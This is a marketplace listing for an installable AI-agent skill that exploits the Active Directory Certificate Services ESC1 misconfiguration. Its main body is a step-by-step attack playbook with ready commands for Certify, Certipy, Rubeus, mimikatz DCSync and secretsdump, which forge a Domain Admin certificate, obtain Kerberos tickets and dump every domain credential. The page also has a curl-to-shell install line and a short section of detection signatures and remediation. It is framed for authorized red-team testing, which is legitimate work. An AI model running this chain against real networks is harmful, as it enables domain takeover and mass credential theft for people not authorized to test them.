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mukul975/exploiting-active-directory-certificate-services-esc1Ingeniería inversa y fuzzing

exploiting-active-directory-certificate-services-esc1

⁨Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1⁩

v1.03 instalaciones+3 en 7 días36,3 mil EstrellasApache-2.0sincronizado hace 12 horas

Instalar

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$ curl -fsSL https://notholy.com/install.sh | sh
$ notholy skills install mukul975/exploiting-active-directory-certificate-services-esc1

Escribe en ⁦~/.notholy/skills⁩ después de comprobar la firma y el SHA-256.

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EscaneoMedio3 hallazgos
  • Script ejecutable incluido con la skillscripts/agent.py
  • Script ejecutable incluido con la skillscripts/process.py
  • Enlaces a dominios externos
Ver el escaneo completo
Fuentegithub.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/exploiting-active-directory-certificate-services-esc1@54a7988

Esta entrada todavía no está escrita en tu idioma, así que aparece en English.

Overview

ESC1 (Escalation Scenario 1) is a critical misconfiguration in Active Directory Certificate Services where a certificate template allows a low-privileged user to request a certificate on behalf of any other user, including Domain Admins. The vulnerability exists when a template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled (also called "Supply in Request"), combined with an Extended Key Usage (EKU) that permits client authentication (Client Authentication, PKINIT Client Authentication, Smart Card Logon, or Any Purpose). This allows an attacker to specify an arbitrary Subject Alternative Name (SAN) in the certificate request, effectively impersonating any domain user. ESC1 was documented by SpecterOps researchers Will Schroeder and Lee Christensen in their "Certified Pre-Owned" whitepaper (2021) and remains one of the most common AD CS attack paths. The MITRE ATT&CK framework tracks this as T1649 (Steal or Forge Authentication Certificates).

When to Use

  • When performing authorized security testing that involves exploiting active directory certificate services esc1
  • When analyzing malware samples or attack artifacts in a controlled environment
  • When conducting red team exercises or penetration testing engagements
  • When building detection capabilities based on offensive technique understanding

Prerequisites

  • Familiarity with red teaming concepts and tools
  • Access to a test or lab environment for safe execution
  • Python 3.8+ with required dependencies installed
  • Appropriate authorization for any testing activities

Objectives

  • Enumerate AD CS infrastructure and certificate templates using Certify or Certipy
  • Identify vulnerable ESC1 templates with "Supply in Request" enabled
  • Request a certificate specifying a Domain Admin in the SAN field
  • Authenticate using the forged certificate via PKINIT to obtain a TGT
  • Escalate privileges to Domain Admin using the obtained Kerberos ticket
  • Document the full attack chain for the engagement report

MITRE ATT&CK Mapping

  • T1649 - Steal or Forge Authentication Certificates
  • T1558.001 - Steal or Forge Kerberos Tickets: Golden Ticket
  • T1078.002 - Valid Accounts: Domain Accounts
  • T1484 - Domain Policy Modification
  • T1087.002 - Account Discovery: Domain Account

Workflow

Phase 1: AD CS Enumeration

  1. Enumerate Certificate Authority (CA) servers in the domain:
    powershell
    # Using Certify (Windows)
    Certify.exe cas
    
    # Using Certipy (Linux/Python)
    certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1
  2. Enumerate all certificate templates and identify vulnerable ones:
    powershell
    # Using Certify - find vulnerable templates
    Certify.exe find /vulnerable
    
    # Using Certipy - outputs JSON and text reports
    certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
  3. Verify ESC1 conditions on identified templates:
    • msPKI-Certificate-Name-Flag contains ENROLLEE_SUPPLIES_SUBJECT
    • pkiExtendedKeyUsage contains Client Authentication or Smart Card Logon
    • msPKI-Enrollment-Flag does not require manager approval
    • Low-privileged group (Domain Users, Authenticated Users) has Enroll rights

Phase 2: Certificate Request with Arbitrary SAN

  1. Request a certificate using the vulnerable template, specifying a Domain Admin in the SAN:
    powershell
    # Using Certify (Windows)
    Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator
    
    # Using Certipy (Linux)
    certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local
  2. The CA issues a certificate with the Domain Admin's UPN in the SAN field
  3. Save the output certificate in PFX/PEM format

Phase 3: Authentication with Forged Certificate

  1. Convert the certificate if needed (Certify outputs PEM, convert to PFX):
    bash
    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
  2. Authenticate using PKINIT to obtain a TGT for the impersonated user:
    powershell
    # Using Rubeus (Windows)
    Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt
    
    # Using Certipy (Linux)
    certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
  3. The TGT is now loaded in memory (Windows) or the NT hash is recovered (Linux)

Phase 4: Domain Privilege Escalation

  1. With the Domain Admin TGT, perform privileged operations:
    powershell
    # DCSync to dump all domain credentials
    mimikatz.exe "lsadump::dcsync /domain:domain.local /all"
    
    # Or using secretsdump.py with the obtained NT hash
    secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash
  2. Validate Domain Admin access:
    powershell
    # List domain controllers
    dir \\DC01.domain.local\C$
    
    # Access Domain Admin shares
    dir \\DC01.domain.local\SYSVOL

Tools and Resources

Tool Purpose Platform
Certify AD CS enumeration and certificate requests Windows (.NET)
Certipy AD CS enumeration, request, and authentication Linux (Python)
Rubeus Kerberos authentication with certificates (PKINIT) Windows (.NET)
Mimikatz Credential dumping post-escalation Windows
secretsdump.py Remote credential dumping (Impacket) Linux (Python)
PSPKIAudit PowerShell AD CS auditing module Windows
ForgeCert Certificate forgery tool Windows (.NET)

Vulnerable Template Indicators

Condition Vulnerable Value
msPKI-Certificate-Name-Flag ENROLLEE_SUPPLIES_SUBJECT (1)
pkiExtendedKeyUsage Client Authentication (1.3.6.1.5.5.7.3.2)
Enrollment Rights Domain Users or Authenticated Users
msPKI-Enrollment-Flag No manager approval required
CA Setting No approval workflow enforced

Detection Signatures

Indicator Detection Method
Certificate request with SAN different from requester Windows Event 4886 / 4887 on CA server
Unusual PKINIT authentication Event 4768 with certificate-based pre-auth
Certify.exe or Certipy execution EDR process monitoring and command-line logging
Mass certificate template enumeration LDAP query monitoring for pkiCertificateTemplate objects
Certificate issued to non-matching UPN CA audit logs and certificate transparency

Validation Criteria

  • AD CS Certificate Authority enumerated
  • Vulnerable ESC1 templates identified with Certify or Certipy
  • Certificate requested with Domain Admin SAN successfully
  • PKINIT authentication performed with forged certificate
  • Domain Admin TGT obtained
  • Privileged access to domain controller validated
  • Full attack chain documented with evidence
  • Remediation recommendations provided (disable Supply in Request, require manager approval)

Archivos de esta versión

Permisos

PermisoDeclaradoHallado en el escaneo
Lee archivosNoNo
Escribe archivosSíSí
Ejecuta comandos de shellSíSí
Usa la redSíSí
Usa conectoresNoNo
Controla un navegadorNoNo

Hallazgos del escaneo

Revisado el 13 nov 2026

  1. MediaArchivo · Script ejecutable incluido con la skillscripts/agent.py
  2. MediaArchivo · Script ejecutable incluido con la skillscripts/process.py
  3. InfoEnlace · Enlaces a dominios externos

Un escaneo limpio baja el riesgo, pero no prueba que el paquete sea seguro. Lee lo que instalas.

VersiónPublicadaCommitSHA-256FirmaCambio de permisos
v1.013 nov 202654a7988f1d19d08Firmada–

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